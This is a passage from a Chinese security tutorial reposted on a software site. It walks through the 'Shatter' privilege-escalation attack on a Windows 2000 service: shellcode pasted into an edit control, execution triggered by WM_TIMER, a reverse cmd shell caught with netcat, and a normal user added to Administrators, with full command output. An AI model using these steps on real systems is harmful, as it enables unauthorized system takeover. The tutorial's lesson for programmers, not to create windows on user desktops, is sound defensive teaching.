FOON 编写了一个攻击工具 Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有 Shatter 的源程序。这个程序专门攻击像 SimpleService 这样会创建 Window 的服务进程,它首先把 Window 中 Edit Control 的尺寸(Size)扩大,然后把可执行的黑客码粘贴到 Edit 中,这样就把黑客码拷贝到这个 Window 进程的内存中了——很 Cool 吧!接下来就要寻找黑客码在内存中的地址,FOON 是用 Windbg 去寻找这个地址的,详情请参考他的文章。最后 Shatter 向 Window 进程发送一个定时执行 Message——“WM_TIMER”,迫使 Window 进程执行刚才拷贝进去的黑客码。这个黑客码是根据 jill 的黑客码改编而成,它产生一个远程的 cmd shell 连接回到 Client 机器上,所以可以用鼎鼎有名的 netcat 程序与它联络。
现在来演示一下使用 Shatter 攻击 SimpleService 的过程,看看普通用户“moda”是如何通过 Shatter 提升权限的:
先以普通用户“moda”登录,看看本地 Administrators 组当前的成员:
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
D:\MyJob\tool\netcat>net localgroup administrators
Alias name administrators
Comment Administrators ha ve complete and unrestricted access to the
Members
-----------------------------------------------------------------------------
Administrator
The command completed successfully.
本地 Administrators 组只有 Administrator 一个成员。试一下能不能把“moda”加入到本地 Administrators 组。
D:\MyJob\tool\netcat>net localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
很惨,得了一个“Access is denied.”的错误。下面运行程序 Client,向 SimpleService 发送几个字节,于是 SimpleService 在普通用户“moda”的 Desktop 上产生一个对话框:
这个对话框上有两个 Edit Controls,一个对应着“Number Of Hit”,这里输出 SimpleService 的 Named Pipe 被访问的次数;一个对应着“Message Back”,这里输出 SimpleService 的 Message。这两个 Edit 都可以被攻击利用,不过这里以“Message Back”的 Edit 为例。
运行 FOON 的攻击程序 Shatter:
第一步:需要扩大 Edit 的尺寸(Size)。从 SimpleService 的源程序中可以看到,“Message Back”的 Edit 只允许 40 个 char,而 jill 的黑客码显然超过了这个长度,所以通过 Shatter 向这个 Edit 的句柄 Handler 发送 EM_SETLIMITEXT,把它的尺寸扩大到 0xffffffff(见下图)。
第二步:把 FOON 改编的 jill 黑客码拷贝到 Clipboard 上,然后往 Edit 发送 WM_PASTE,可以看到 Edit 中马上堆积了一长串乱七八糟的字符,这就是 jill 黑客码。
第三步:利用 Windbg 去寻找 jill 黑客码在 Window 内存中的地址,这个过程 FOON 已经讲得很清楚了,这里就不用罗嗦了。在 dallas 上得到的地址是在 0x1389c0 附近。
第四步:另外打开一个 Dos 窗口运行 netcat,准备与打入敌营的侦察兵 jill 联络:
D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
第五步:向 Edit 发送 WM_TIMER,让 Window 进程跳去执行从 0x1389c0 开始的黑客码。马上就能看到 netcat 开始收到了 jill 发回来的内容,它输出一些版权信息。
D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
第六步:现在就可以通过 netcat 与 Window 进程中的 cmd Shell 联系,可以向它发送命令,从它那里得到命令运行结果。这个 cmd Shell 具有 Local System 的权限,所以可以轻易地把普通用户“moda”加入到本地 Administrators 组中:
D:\WINNT\system32>net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.
D:\WINNT\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators ha ve complete and unrestricted access to the
Members
-----------------------------------------------------------------------------
Administrator
moda
The command completed successfully.
D:\WINNT\system32>
D:\WINNT\system32>
以上就是演示 Microsoft 这个缺陷的过程。虽说有意把 SimpleService 设计得易于黑客攻击,但实际上还有不少流行的程序也犯了同样的错误,像 FOON 文章中提及的 Network Associates VirusScan v4.5.1,还有最喜欢用的 WinVNC 等等,它们都在普通用户的 Desktop 上创建了一个具有 Local System 权限的 Window。各位,编程序时要记住不要在阿猫阿狗的 Desktop 上创建 Window 啊!如果你给它们机会,阿猫阿狗也会成精的!
结尾的话
提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得 Administrator 的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等,这里只是挂一漏万地介绍其中几个。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

